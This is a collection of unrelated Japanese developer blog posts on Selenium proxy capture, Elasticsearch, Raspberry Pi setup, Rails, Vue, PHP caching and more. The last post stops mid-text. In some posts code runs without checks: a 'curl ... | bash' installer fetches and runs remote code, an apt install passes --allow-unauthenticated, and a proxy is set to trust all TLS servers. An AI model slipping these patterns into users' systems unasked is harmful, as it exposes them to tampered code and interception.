BrowserMob ProxyのEmbedded Modeでのぞき見？することにしました。というかそれ以外のやり方が分かりませんでした。のぞき見した内容はHAR形式で取得できるので、そこから抽出して検証、の流れが問題なく実行できました。

## 課題
セキュリティ例外？やらが出ます。一応検証自体はできているのでろくに見ておらずほったらかしですが、検証ツールのログチェックにひっかかるので消さないと。。。

# 考えたこと、少し試した結果
- HTTPステータスを取得するのと同様、```WebDriver.manage().logs().get( LogType.xxx )```的なやり方はないものか
- WebDriverの通信コールバックかなんかないか？
- ```(JavascriptExecutor)WebDriver.executeScript( "return xxx" )```みたいにして取得できないものか
- BrowserMob Proxyでキャプチャ

で、一番目は無理っぽい、二番目もわからず、三番目はどうやって変数にアクセスするか全く分からず、最後の方法でやることにしました。一、二、三番番目、その他の方法でもこうやればできるよ、っていうのがあれば教えていただけるとありがたいです。

# やったこと
## 依存関係
pomに以下を追記しました。

```xml:pom.xml
<dependency>
    <groupId>net.lightbody.bmp</groupId>
    <artifactId>browsermob-core</artifactId>
    <version>2.1.5</version>
</dependency>
```

## ソースはこんな感じ

### 初期化

```java
import net.lightbody.bmp.BrowserMobProxyServer;
import net.lightbody.bmp.client.ClientUtil;
import net.lightbody.bmp.proxy.CaptureType;

DesiredCapabilities capabilities = null;
if ( /* Chromeの場合 */ ) capabilities = DesiredCapabilities.chrome();
else if ( /* FireFoxの場合 */ ) capabilities = DesiredCapabilities.firefox();
// else if などなど。。。

BrowserMobProxyServer bmpServer = null
EnumSet<CaptureType> captureTypeSet = EnumSet.noneOf( CaptureType.class );
if ( /* リクエストヘッダをキャプチャしたい */ ) captureTypeSet.add( CaptureType.REQUEST_HEADERS  );
if ( /* リクエストコンテンツをキャプチャしたい */ ) captureTypeSet.add( CaptureType.REQUEST_CONTENT  );
if ( /* レスポンスヘッダをキャプチャしたい */ ) captureTypeSet.add( CaptureType.RESPONSE_HEADERS );
if ( /* レスポンスコンテンツをキャプチャしたい */ ) captureTypeSet.add( CaptureType.RESPONSE_CONTENT );

if ( ! captureTypeSet.isEmpty() ) {
    bmpServer = new BrowserMobProxyServer();
    bmpServer.setTrustAllServers( true );
    bmpServer.enableHarCaptureTypes( captureTypeSet );

    if ( /* 外部プロキシを使いたい */ ) {
        try {
            bmpServer.setChainedProxy( new InetSocketAddress( /* 外部プロキシホスト */, /* ポート */ ) ) );
        }
        catch ( Exception e ) {
            // 例外処理
        }
    }
    bmpServer.start();
    capabilities.setCapability( CapabilityType.PROXY, ClientUtil.createSeleniumProxy( bmpServer ) );
}

ChromeOptions.merge( capabilities );
// とか
FirefoxOptions.merge( capabilities );
// とかやってWebDriverインスタンス生成
```

### HARデータ取得

```java
if ( null != browserMobProxyServer ) bmpServer.newHar( /* ラベル文字列 */ );

// SeleniumでアクセスしたりWaitしたり。。。

// HARデータ文字列
String har = null;
if ( null != bmpServer ) {
    StringWriter writer = new StringWriter();
    try {
        bmpServer.getHar().writeTo( writer );
        har = writer.toString();
    }
    catch ( Exception ex ) {
        // 例外処理
    }
}
```

### 終了処理

```java
if ( null != bmpServer ) {
    bmpServer.stop();
}
```
elasticsearch : upsert の使い方


試したのは elasticsearch 6.3.2

## purpose
**data["host"]["exist"]** の値をupdateします。

insertした瞬間 **exist = 1**

updateすると **exist = 0**

## upsert de insert

```sh
# まず消す
DELETE upsert-text

# upsertでinsert
POST upsert-text/_doc/1/_update?refresh     <------ _id=1 指定して登録
{
  "script" : {                     <----------- insert時はこのscript blockは使われません
        "source": "ctx._source.host = params.host",
        "lang": "painless",
        "params" : {
            "host" : {
              "exist" : "0"
            }
        }
  },
  "upsert" : {             <------- insertの場合はこの upsert blockがそのままinsertされます
    "host" : {
      "exist": "1"        <-------- insert時は 1 です
    }
  }
}
```

insertされたものを探す

```sh
# 全検索
GET upsert-text/_search
{
  "query": {
          "match_all": {}
  }
}
```

insertされたデータ

```sh
{
  ...,
  "hits": {
    ...,
    "hits": [
      {
        ...,
        "_source": {
          "host": {
            "exist": "1"                <--------------------- 1 で登録されてる
          }
        }
      }
    ]
  }
}
```

## upsert de update!
さっきと同じupsertを流します。今度はすでにデータがあるのでupdateされます

```sh
# upsert で update
POST upsert-text/_doc/1/_update?refresh    <------ _id=1 指定して投げるので、あればupdateされる
{
  "script" : {                                         <------- updateのときは script blockが走ります
        "source": "ctx._source.host = params.host",     <---- ctx._source がupdate後のdataになります
        "lang": "painless",                            <------ painを感じざるを得ない言語を指定
        "params" : {                                <----- paramsの中の値が source で使える様子
            "host" : {
              "exist" : "0"                < ----------- update時は 0 にしています
            }
        }
  },
  "upsert" : {
    "host" : {
      "exist": "1"
    }
  }
}
```
updateされた結果を探す

```sh
# 全検索
GET upsert-text/_search
{
  "query": {
          "match_all": {}
  }
}
```

updateされた検索結果

```sh
{
  ...,
  "hits": {
    ...,
    "hits": [
      {
        ...,
        "_source": {
          "host": {
            "exist": "0"                <--------------------- 0 になりました！！
          }
        }
      }
    ]
  }
}
```


参考　https://www.elastic.co/guide/en/elasticsearch/reference/6.3/docs-update.html
Raspberry piの初期設定

Raspberry pi3 Model B+の環境構築の流れをまとめました。
例によって備忘録。


# 事前準備
1. Windows10を操作して、事前準備を実施開始
1. SDカードをリセット
	- [ここ](https://qiita.com/RCA3610/items/f69a16cd3a99f8dd3734)にまとめた。
1. SSHの接続記録をリセットする
    - 以前と同じIPアドレスかホスト名のRaspberry piと接続しようとすると、SSH鍵が異なるため、SSHログインできなくなる
    - "C:\Users\username\.ssh\known_hosts"を削除するか、該当する文を編集して消し、SSH鍵の登録から行えるようにする

1. コマンドプロンプトを開き、sshのファイル作成（右クリックで空のファイルを作成しても可能）

    ```terminal
    cd "SD card's directory"
    touch ssh
    ```

1. 無線LANルータへの接続設定
    - wpa_supplicant.confをSDカードのbootディレクトリに作成

    ```terminal
	ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
	update_config=1
	network={
                ssid="wlan" #無線LANのSSID
                scan_ssid=1 #隠蔽されたアクセスポイントにつなぐ
                #psk="passphrase" #無線LANのパスフレーズ
                psk=aaaaaabbbbbbbcccccccc #パスフレーズのハッシュ値
	}
    ```


# Raspberry piの操作
1. Raspberry piをEthernetで宅内LANに接続し、パソコンからssh接続

    ```terminal
    ssh pi@raspberrypi.local
    PASS:raspberry
    ```

1. パスワードの変更

    ```terminal
    sudo passwd pi
    sudo passwd root
    ```

1. iptablesでファイアーウォールを設定

    `iptables.sh`は自身の環境に合わせてiptablesルールを作成。シェルスクリプトでなくても、`/etc/iptables/rules.v4`を直接編集してファイアーウォールを設定してもよい。

    ```terminal
	suso apt-get install iptables-persistent
	sudo sh ./iptables.sh
	sudo iptables -vL
	sudo iptables-save | sudo tee /etc/iptables/rules.v4
    ```

1. 無線LANの接続設定を念のため確認
	`sudo cat /etc/wpa_supplicant/wpa_supplicant.conf`

1. wlan0のinterfaces設定
    wlan0をifup,ifdownコマンドで接続変更できるようにするため、`sudo vim /etc/network/interfaces`で下記の文字列を追記
    ```
    allow-hotplug wlan0
    iface wlan0 inet manual
    wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
    ```

1. SSHのポート番号を変更

    ```terminal
	sudo apt-get install vim
	sudo vim /etc/ssh/sshd_config
	"Port 22"の部分を"Port 33322"などに変更
    ```

1. mDNSの名前変更
	下記のようにコマンド入力。おそらく設定ファイルを直接編集するより確実
    ```
    pi@raspberrypi:~/workspace $ hostnamectl set-hostname workspace
    ==== AUTHENTICATING FOR org.freedesktop.hostname1.set-static-hostname ===
    静的なホスト名を設定するには認証が必要です。
    Authenticating as: ,,, (pi)
    Password:
    ==== AUTHENTICATION COMPLETE ===
    pi@raspberrypi:~/workspace $ hostnamectl
       Static hostname: workspace
       （略）
    pi@raspberrypi:~/workspace $
    ```

    下記のファイルに記述された「raspberrypi」を任意の文字列に書き換える

    ```terminal
	$ vim /etc/hosts
    ```

1. `sudo reboot`で再起動

1. `ssh pi@workspace.local -p 33322`でSSH接続



# 参考文献
- [Raspberry Piの無線LANをmicroSDで設定する](https://qiita.com/mascii/items/0d1a280ac58ed8f6f999)
Rails で Date.today Date.current Date.tomorrow Date.yesterdat やらの日付が違うしずれるのだが？ ( #Rails #ruby )

# 結論

- Date.today は Ruby のもの。ENV や システムのタイムゾーンを参照するらしい。
- Date.current Date.yesterday Date.tomorrow は Rails のもの。Railsのconfigを参照するらしい。
- RailsのメソッドとRubyのメソッドで扱うタイムゾーンが違う場合が出てくる。
- Railsで使うのは Date.today ではなく Date.current にしておくのが無難かも。

# Date.today

- Rubyのメソッド。
- ENV もしくはシステムのタイムゾーンを見るらしい。
- pryを起動して確認してみる。てきとうに日本時間とずれるタイムゾーンを指定してみる。

```rb
[14] pry(main)> ENV['TZ'] = 'Asia/Tokyo'
=> "Asia/Tokyo"
[15] pry(main)> Date.today
=> Thu, 31 Oct 2019
```

```rb
[12] pry(main)> ENV['TZ'] = 'America/Phoenix'
=> "America/Phoenix"
[13] pry(main)> Date.today
=> Wed, 30 Oct 2019
```

システムのタイムゾーンとは？

date コマンドで見えるやつだろうか

```
date
Thu Oct 31 01:27:24 UTC 2019
```

# Date.current

- Railsのconfigを見るらしい。
- rails console で確認してみる。
- application.rbの `config.time_zone = 'Tokyo'` あたりを書き換えてテストする。設定を書き換えたら rails console を exit して再起動する。

```rb
[1] pry(main)> Rails.application.config.time_zone
=> "Tokyo"
[2] pry(main)> Date.current
=> Thu, 31 Oct 2019
```

```rb
[1] pry(main)> Rails.application.config.time_zone
=> "America/Phoenix"
[2] pry(main)> Date.current
=> Wed, 30 Oct 2019
```

# 何故こんなことが起こるのか？

- Rails では Date.yesterday Date.tomorow っていう便利なメソッドを作ったよ！
- Rails のメソッドだから rails の config を参照するよ！ 直感的に書けて便利だね！
- でも Date.today は Ruby 本来のメソッドなので動作を書き換えないよ。仕方ないね、早いもの勝ちだし。
- そうだ、Rails のために新しいメソッド Date.current を作ろう！ わりとわかりやすいでしょ？
- こうして Railsのメソッドは Date.yesterday Date.current Date.tomorow の三個で Date.today は Ruby のもの、という残念な落とし穴が発生した

# 今日はどこにも存在しない

```rb
[4] pry(main)> Date.yesterday
=> Wed, 30 Oct 2019
[5] pry(main)> Date.today
=> Wed, 30 Oct 2019
[6] pry(main)> Date.tomorrow
=> Fri, 01 Nov 2019
```

# 参考

[RubyとRailsにおけるTime, Date, DateTime, TimeWithZoneの違い - Qiita](https://qiita.com/jnchito/items/cae89ee43c30f5d6fa2c)

# スターバックスのたまごのサンドイッチを食べて落ち着いてください

ここは東京ですか？アメリカですか？

![image](https://user-images.githubusercontent.com/13635059/67911092-90083a00-fbc8-11e9-96b7-21e1fa21182e.png)


# Original by Github issue

https://github.com/YumaInaura/YumaInaura/issues/2644








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
Draw.ioで画像にメタ情報をいれてDraw.ioから直接画像を編集するのとレイヤーの使い方

# はじめに

技術関係なく知っているか知っていないかの話です


# 画像にメタ情報を入れる

## 使い所（今の使い方

Organization内のGithubリポジトリでREADME.md/wikiなどで利用する画像をDraw.ioで編集しつつバージョン管理できます。
べんりです。

## 手順
### export で png選択
<img width="1265" alt="スクリーンショット 2019-10-31 13.06.06.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/8e66ee43-d863-70ae-eb36-85042d4cdd58.png">

### `include ` にチェック（default）
<img width="339" alt="スクリーンショット 2019-10-31 13.06.19.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/487e4a53-8ed7-f2a7-3490-930703f4534d.png">

### （当然）pngになりますが
<img width="1176" alt="スクリーンショット 2019-10-31 13.07.00.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/081e3505-825c-1e62-b271-8d5ebe93ed30.png">

### Drow.ioに放り込むとオブジェクトで編集できます
<img width="1451" alt="スクリーンショット 2019-10-31 13.08.03.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/43f44c84-b081-8743-ff13-47683bb0c326.png">

これで画像をバージョン管理できますね


# レイヤー使う

## 使い所

上の画像のメタ化と合わせて使うと便利です。

## 手順
### Viewからlayersを選択
<img width="346" alt="スクリーンショット 2019-10-31 13.08.23.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/a808486f-9e70-1a53-1124-a49be9188cf7.png">
### 小ウィンドからレイヤー追加
<img width="182" alt="スクリーンショット 2019-10-31 13.08.33.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/e99d0053-995d-1918-ba90-7e36e4a879d7.png">
### 追加したレイヤにオブジェクト追加
<img width="1091" alt="スクリーンショット 2019-10-31 13.09.20.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/ad592467-cd10-b44d-d9ec-906621dba0b1.png">
### レイヤのチェック外すと見えなくなります
<img width="1077" alt="スクリーンショット 2019-10-31 13.09.27.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/84539/d0d966a6-022e-03c8-2bfe-adb0fdd74826.png">
windowsでYOLOv3を動かす


# 目的

学習結果を別の場所で再現するために、windowsノートPCにYOLOを搭載しました:dancer_tone2::sparkles:
windowsではkeras-yoloを使います。なので途中ubuntuでkeras-yolo使った時と全く同じ工程がありますが自分用のメモ用も含めて。


#環境
windows10
corei7-7600U CPU
16GB
Anaconda python3.7ver

# 準備

まずanaconda command promptを起動し、仮想環境を構築。

```
conda create -n keras_work
activate keras_work
```
そしてtensorflowとkeras、必要なパッケージをインストール
pipとconda混ぜちゃいけないと色々なところで書かれていますが、仮想環境なので結局pipも使いました。
今のところ大丈夫です。

```
conda install tensorflow
conda install keras
pip install pillow
conda install -c anaconda matplotlib
pip install opencv-python
```

# keras-yolo3をダウンロードし任意の場所に解凍
https://github.com/qqwweee/keras-yolo3
※前アップしたときからリンク先が変わってたので修正しました。

#自前データの準備
ここから、ubuntuでやったことと同じことをします。[その記事はコチラ。](https://qiita.com/okubo999/items/377d13c63ea8ee6353d0)
ここでkeras-yolo3フォルダと言っているのは、windowsではkeras-yolo3-masterのことです。

>
# 自前データのコピー＆変換
>
今回私は自前データを使いたいと思いますので、
darknetで学習とテストをするときに作成した以下のファイルをさっきcloneしてきたkeras-yolo3フォルダの直下に置きます。
piyopiyo_test.cfg
piyopiyo.weights
>
さらに、自前の学習データのclasses.txtをmodel_data/以下に置きます。

>
そして重みをkeras用に変換します。
>
```
cd keras-yolo3
python convert.py piyopiyo_test.cfg piyopiyo.weights model_data/piyopiyo.h5
```
>
# yolo.pyを修正
>
```
class YOLO(object):
    _defaults = {
        "model_path": 'model_data/piyopiyo.h5',　　#ココ
        "anchors_path": 'model_data/yolo_anchors.txt',#ココは変えなくてもうまくいきました。何かよくわからん。
        "classes_path": 'model_data/classes.txt',　#ココ
        "score" : 0.3,
        "iou" : 0.45,
        "model_image_size" : (416, 416),
        "gpu_num" : 0,
    }
```
>
anchorって何なんだろう…と調べてみたら、bouding boxのアスペクト比のことみたいです。
何種類か定義されているので探索に使う時のって意味なのでしょうか…
これを変えるとうまくいかなかった、という記事もあったりしたのでデフォルトのまま使うことにします。
>
# 実行
>
画像の場合は
>
```
python3 yolo_video.py --image
```
動画の場合は
>
```
python3 yolo_video.py --input hogeohoge.MOV
```
>
画像の場合は後でInput image filenameを求められます。

webカメラの場合は、yolo_cam.pyというファイルを作って実行します。

```
from yolo import YOLO
from yolo import detect_video

if __name__ == '__main__':
    video_path = 1
    output_path = './output.avi'
    # detect_video(YOLO(), video_path, output_path)
    detect_video(YOLO(),video_path)
```
そして

```
python yolo_cam.py
```
 

# エラー
ここで私は、no named moduke cv2と言われました。
で、色々やってみたのですが全部できなくて

```
conda install -c menpo opencv3　-->NG
conda install -c conda-forge opencv -->NG
pip install opencv-python -->NG
```

なんと会社のネットワーク使っているからだめだったみたいです。
会社のネットワーク切って、

```
conda install -c conda-forge opencv 
```
を実行したら無事インストール完了しました。
多分上の3つどのコマンドでも良かったのでは、と思います。

そしてさっきのコマンドで無事動画を読み込んで、無事認識完了しました。
GPU無いしめちゃめちゃ遅いですが、なんとか再現はできます。


# 参考サイトです:bow:
https://masaeng.hatenablog.com/entry/2019/03/23/010723
https://qiita.com/dddmm/items/9e4d9e08a071cfa4be83
Nuxt.jsをSSRモードでHerokuにデプロイする

#やりたいこと
Nuxt.jsを静的ファイル（nuxt generate）ではなくSSRモードで公開したい。
※Netlify辺りはあくまで静的コンテンツをホスティングするためのサービスなので、SSRモードでは公開できないので注意。

#結論
以下の公式ドキュメントを参考にするのが一番。
https://vueschool.io/lessons/how-to-deploy-nuxtjs-to-heroku?friend=nuxt
https://nuxtjs.org/faq/heroku-deployment/

特に前者の動画は英語で一見わかりづらいかもしれないけれど、
きちんと手順を追って見せてくれます。
面倒くさがらずに見ながら進めると確実にデプロイできます。
【備忘録】ゲストユーザーがSharePointサイトにアクセスできなくなった

とあるゲストユーザーが、ついこの間までアクセスできていたSharePointサイトにアクセスできなくなった、という問い合わせがあった。

状況からの推測した対応で解決したので、確定情報ではないけれど備忘録でまとめてみた。


#対象ユーザーの症状と、切り分け

- いままで、マイクロソフトアカウントでアクセスしていたゲストユーザー
- そのMSアカウントは、会社メールアドレス（not Office365)

- 突然アクセスできなくなった
- [会社メールアドレス]にはこのサイトにアクセス権がありません。管理者に問い合わせてください、的なメッセージ

切り分けで、プライベートブラウズでアクセスしてもらったところ、MSアカウントでサインインを求められ、正常にSharePointサイトを開けた、とのこと。

#推測される原因

- MSアカウント作成以降に、AzureADアカウント払い出されて
- それは会社メールアドレスと同じ（＝MSアカウントもおなじ）

- Azure ADアカウントでログインし、かつMSアカウントでログインしていない状態でサイトにアクセスしたので、ブロックされてた

・・・のではなかろうか。


裏付けのため、Azure ADあるはずと思い、[先方のドメインがOffice365を使っていないか調べる方法](https://qiita.com/hisssa0102/items/b7d8839cee4ab2c60142)で調べてみたら、TXT=MSxxxxの文字列がある。

また、AzureADのゲストユーザー一覧で同じ組織（＝ドメイン）のユーザーを見ると、アカウントのソースに、MSアカウントとAzure ADアカウントの両方のユーザーが存在。


ということで、
- 最初はMSアカウントを作って使っていたユーザーだったけど、あとからAzureADアカウントを作成されていて、
- MSアカウントの認証がきれていて、AzureADアカウントでログインしている状態で
- SharePointサイトにアクセスしようとして弾かれた
と推測した。
  

#ゲストユーザーへの伝えたこと

プライベートブラウズで使ってください、とだけ伝えてます。

ブラウザでOutlook.com開いてログインし、それからサイトURL開いてもらう、というのも手なのですが、確実な手順にするためこの方法を選びました。

#どうするのが一番すっきり？

MSアカウントを、テナントから全削除。それから再招待する。
そのうえで、再招待時はAzure ADアカウントで初回ログインしてもらう。

再招待するまでの手順は、[前回の投稿](https://qiita.com/hisssa0102/items/8206615c5bfafa9f393f)にまとめてます。


#なんでこうなるの？

現在は、Azure ADで使っているドメインでは、MSアカウントは作成できないようになってる。

しかそし、以前に会社メールアドレスでMSアカウントを作成していた場合、あるいは会社メールアドレスでMSアカウントを作ってからAzure ADに会社メールアドレスのドメインが登録された場合は、この問題に引っかかる可能性あり。これは既存の仕組み上だと回避不可だな・・・。

2016年の記事だけど。
[#AzureAD と Microsoft アカウントの重複問題に対する取り組み](https://blogs.technet.microsoft.com/mssvrpmj/2016/09/30/azuread-%E3%81%A8-microsoft-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%AE%E9%87%8D%E8%A4%87%E5%95%8F%E9%A1%8C%E3%81%AB%E5%AF%BE%E3%81%99%E3%82%8B%E5%8F%96%E3%82%8A%E7%B5%84%E3%81%BF/)

#まとめ

いままでアクセスできていたゲストユーザーがアクセスできなくなった時、このケースが当てはまるかも。参考まで。
Minecraft Bedrock Edition 1.13対応 PocketMine-MP 見つけました

# 概要
MCBE1.13に対応したsrcを見つけられました
クライアントのシンボルリンクがなくなったので、困難が予想されていました。
https://mirm.jp/?p=843

# phar 
## 変更点
- ini_setの除去
- ネット接続の除去
- シンタックスエラーの修正

## ダウンロード
https://github.com/BulletProject/PMMP-4x/releases/tag/20191031Nether

# リンク
https://github.com/NetherGamesMC/PocketMine-MP/tree/bedrock-1.13
filter関数で、配列から特定の条件に合うものだけを抽出して新しい配列を作る

# filter関数で、配列から特定の条件に合うものだけを抽出して新しい配列を作る

## はじめに
JavaScriptのES5から新規に追加されたfilter関数について、その使い方とどんな用途例があるかを簡単にまとめてみました。

filterとはその名の通り「フィルター」のことで、
配列のうち条件に当てはまるものと当てはまらないものを、ふるい分けして要素数を減らす関数です。

同じくES5から実装されたmap関数同様に配列操作に便利な関数の一つだと思ってもらえればいいかと思います。

map関数についてはこちらで簡単にまとめています。
> [【JavaScript】map関数を用いたおしゃれな配列処理](https://qiita.com/codeship_tech/items/a4c8ba5d26a09dc79e6a)
<br>

## filter関数を使ったふるい分けの例
filter関数を使って、数値の配列から奇数のものだけふるい分けしてみた例。

```javascript:filter関数の使用例
const array = [1,2,3,4,5,6,7,8];

const newArray = array.filter( function ( x ) {
  return x % 2 == 1;
} )
console.log(newArray); //[1,3,5,7]
```

- filterには引数として関数を与えるが、今回は function(x) と、xを引数とする即時関数を作って与えた。
- x にはarrayの各要素が順番に代入される。1,2,3が順番に代入。
- function (x) の中では、 return x % 2 == 1 と、「要素xが奇数かどうか」のtrueかfalseかを返している。trueになったものが残り、falseになったものは破棄。これにより奇数である1,3,5,7が残り、2,4,6,8は取り除かれた。

### 用途例
Filterを使うとこのようなことができる。

- 全商品データの配列から、商品名が「あ」で始まるもののみ取得
- 学校の試験データから、合計80点を超えた答案のみ取得
- 全ユーザーのうちログインしているユーザーのみ取得名前付き関数を使う目的

<br>

## mapもfilterも、forループで書けるのに何故このような書き方をするのか？
一つは読みやすく修正しやすいコードのために、「共通の合言葉」として使う目的がある。

filter関数が行なっている処理の実装自体は、その通りforEach文などでも同じ処理を書くことができる。
これはmap関数でも同様。

しかしmapやfilterなどを適切に使うことによって、コードの読み手(書き手ではなく)が

- 「この処理はfilterを使っているから何かをふるい分けしているんだな」
- 「この処理はmapを使っているから元の配列に何か変更を加えるんだな」

と、コードを一目見ただけで実装の意味をざっくりと判別できるようになる。

関数特有の名前・処理は、filterやmapの挙動を知っている人たちの間でのある種「共通の合言葉」の代わりになり、読み手のスピーディな理解の手助けになる。
<br>

## 参考
この記事は「CodeShip」内での実際の質疑応答や指導・アドバイスの一部を基に作成しています。
Vue.js: v-forのkeyをindex以外に設定する必要がある理由について

Vue.jsの公式（[key API ドキュメント](https://jp.vuejs.org/v2/api/#key), [スタイルガイド](https://jp.vuejs.org/v2/style-guide/#%E3%82%AD%E3%83%BC%E4%BB%98%E3%81%8D-v-for-%E5%BF%85%E9%A0%88)）を確認しても分かりづらいので投稿します。

### keyを設定しないと
あるissueに対する[contributorのコメント](https://github.com/vuejs/vue/issues/5410#issuecomment-292923871)に下記のようにあります。

>You are using the index as the key... which is the same as no key at all. You should give each of your data objects a unique id so that they can be keyed properly.

意訳）
keyにindexを使用していますね...それは、keyを設定していないのと同じです。
一意のidをkeyに設定してください。

つまり、keyを設定しないと配列のindexがデフォルトで使用されるようです。

### アニメーション問題
ここから本題です。

keyを未設定もしくは、indexを設定すると、[Vue.js: v-forで項目インデックスをkey属性にしていいのか](https://qiita.com/FumioNonaka/items/d1d9c9335116426a8316)に記載されているような問題が生じます。（子コンポーネントも想定通りにならないことがあります。）

この問題はあるissueにおける[contributorのコメント](https://github.com/vuejs/vuejs.org/issues/1161#issuecomment-333353839)によって理解できます。

>example, let's say the first item in the array is removed. if you use an index, Vue will assume the last element was removed and update every remaining element as it shifts everything down

keyにindexを設定してある状態で、配列の先頭を削除したとしましょう。
Vueは、最後の要素が削除され、残りの要素が更新された(shift down)とみなします。

この内容も踏まえ考えると、VDOMのデータ参照は下記のまま変更されず

```html
<!-- v-forのkeyを指定しなかった場合、デフォルトでindexが割り振られる -->
<DOM1></DOM> <!-- 参照key: itemsの1 -->
<DOM2></DOM> <!-- 参照key: itemsの2 -->
<DOM3></DOM> <!-- 参照key: itemsの3 -->
<DOM4></DOM> <!-- 参照key: itemsの4 -->
```


```javascript

data: {
 items: [
  'リスト１', // key = index (1)
  'リスト2', // key = index (2)
  'リスト3', // key = index (3)
  'リスト4'  // key = index (4)
 ]
}
//先頭のデータが削除される
data: {
 items: [
  'リスト2',  // key = index (1)
  'リスト3',  // key = index (2)
  'リスト4'   // key = index (3)
 ]
}
```

VDOM側からすると、下記の認識になると思われます。
VDOM1~VDOM3は、`データの変更` 
VDOM4だけitemsの4がないので`要素の削除（アニメーション）` 

データの変更は無事行われているので、見た目上、先頭の要素がトルツメされたように見えます。パフォーマンスも良いようです。

これらを防ぐためにkeyに一意となる値を設定する必要があると思われます。

### keyに一意となる値を設定したら
念のため、keyに一意となる値を設定した場合のイメージを記載しておきます。

```html
<!-- v-forのkeyをに一意となる値を設定 -->
<DOM1></DOM> <!-- 参照key: hoge1 -->
<DOM2></DOM> <!-- 参照key: hoge2 -->
<DOM3></DOM> <!-- 参照key: hoge3 -->
<DOM4></DOM> <!-- 参照key: hoge4 -->
```


```javascript

data: {
 items: [
  'リスト１', // hoge1
  'リスト2', // hoge2
  'リスト3', // hoge3
  'リスト4'  // hoge4
 ]
}
//先頭のデータが削除される
data: {
 items: [
  'リスト2',  // hoge2
  'リスト3',  // hoge3
  'リスト4'   // hoge4
 ]
}
```

### keyがindexでも問題ない場合
リスト表示するだけなら特に問題は生じないはず。
リストの削除時にアニメーションする場合や、子コンポーネントをもつ場合、表示が意図通りにならないようです。
その場合は、コンポーネントにkeyを与えることで対処できることもあります。
HTMLの基礎の基礎~HTML文書の基本構成~

# HTML文書の基本構成

HTML文書はさっくりと以下のような構成になってます。

```html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>My test page</title>
  </head>
  <body>
   Hello World!
  </body>
</html>
```

なんか、「**<**」や「**>**」が沢山ありますね。今回は中身の解説は置いといて基本的な構成要素を説明します。
まず、**「<」と「>」に囲まれた部分**を「**コンテンツ**」、「**<**」と「**>**」を「**タグ**」、その「**タグ**」に囲まれた「**要素**」が構成されてます。
それから、前に置く「**タグ**」を「**開始タグ**」と呼び、**どこから要素が始まっているのかやどこで効果が始まるのかを表しています。**
最後に、後に置く「**タグ**」を「**終了タグ**」と呼び、**どこで要素が終わっているかを表しています。**
わかりやすく以下の段落を使って説明してみましょう。

```html
<p>My cat is very grumpy</p>
```
- `<p>`は開始タグ(opening tag)
- `</p>`は終了タグ(closing tag)
- “My cat is very grumpy”と言う文字列はコンテンツ(content)
- `<p>My cat is very grumpy</p>`を一つの要素(element)

と言います。

> 引用 : [Dripcoke](https://dripcoke.com/)

>> [初めてのHTML-(2)-HTML文書の基本構成](https://dripcoke.com/%e5%88%9d%e3%82%81%e3%81%a6%e3%81%aehtml-2/)
phpの圧縮について

# phpの圧縮を考える
## 背景
* 自社サービスでcacheとしてredisを使ってるもののredisのサイズがバカにならなくなってきた
* redisのDBサイズが大きくなってくるとBGSAVE時にi/oが出てサイトが遅延するケース(?)
* redisの使い方が雑なのでお手当してサイズ圧縮したい

## 現状のredisへの保存
```php
	protected function _getUserList() {

		$userList = array();

		$key = __METHOD__;
		$cacheRes = Cache::read($key);
		if ( $cacheRes ) {
			$userList = $cacheRes;
			return $userList;
		}

		$userList = UserDb::selectUserList()
		$ret = Cache::save($key, $userList , 60);
		return $userList;
	}

# 保存内容は利用者に任せているのでバカでかいarrayとかが保存されがち
```

## 圧縮すればいいんじゃない？
```php
	protected function _getUserList() {

		$userList = array();

		$key = __METHOD__;
		$cacheRes = Cache::read($key);
		if ( $cacheRes ) {
			$userList = json_decode(gzuncompress($cacheRes), true);
			return $userList;
		}

		$userList = UserDb::selectUserList()
		$comp = gzcompress(json_encode($userList))
		$ret = Cache::save($key, $comp, 60);
		return $userList;
	}
```

### サイズの変化
| 圧縮有無       |サイズ |
|:-----------------|:------------------|
|なし|573byte|
|あり|187byte|

70%ほど削減できる模様

### 速度影響はどうか？
100万回読んでみる

```php
	$before = microtime(true);

	for ( $i = 1; $i<=100000; $i++ ) {
		AppGameMaster::getInstance()->isGameMaster($this->userId);
	}
	$after = microtime(true);

	$diff	= $after - $before;
	AppDebug::dBug($diff);
```

| 圧縮有無       |処理秒数 |
|:-----------------|:------------------|
|なし|2.870146sec|
|あり|2.798397sec|

ほとんど誤差らしい

## 異なる圧縮方式
| 圧縮形式       |内容 |計測 |サイズ|
|:-----------------|:------------------|:------------------|:------------------|
|gzdeflate/gzinflate|デルタ圧縮| 0.2774169sec|181byte|
|gzcompress/gzuncompress|ZLIBフォーマット圧縮|0.2798397sec|187byte|
|gzencode/gzdecode|GIZPコマンドと同| phpVer都合で利用できず | --- |

## 参考
[どの圧縮方法をPHPで使用するのですか？](https://codeday.me/jp/qa/20181216/67939.html)

## 雑感
* cacheなのでgzdeflate()あたりがパフォーマンス的には高い
* ただメソッド名が馴染みがないので大規模開発の場合、gzcompressやgzencodeの方が可読性は高いか？
n でバージョン管理


curl -L http://git.io/n-install | bash

n

n ls

再ログイン




$ npm cache clean
$ npm cache ls
$ rm -rf ~/.npm






echo "deb http://mirrors.kernel.org/ubuntu/ xenial main" | sudo tee -a /etc/apt/sources.list && sudo apt-get update && sudo apt install -y --allow-unauthenticated libpng12-0
Objective-PHPを初心者がまとめてみた＜フレームワークの概念＞

# フレームワークとは
PHPは実装の仕方が実装者によって千差万別であるため、
「一人で全てのプログラムを実装して、その後の修正もその人が行う」
のであればそれでもいいのかもしれないが、
他の人と協力して実装する場合、ある一定のルールがないと管理できない。
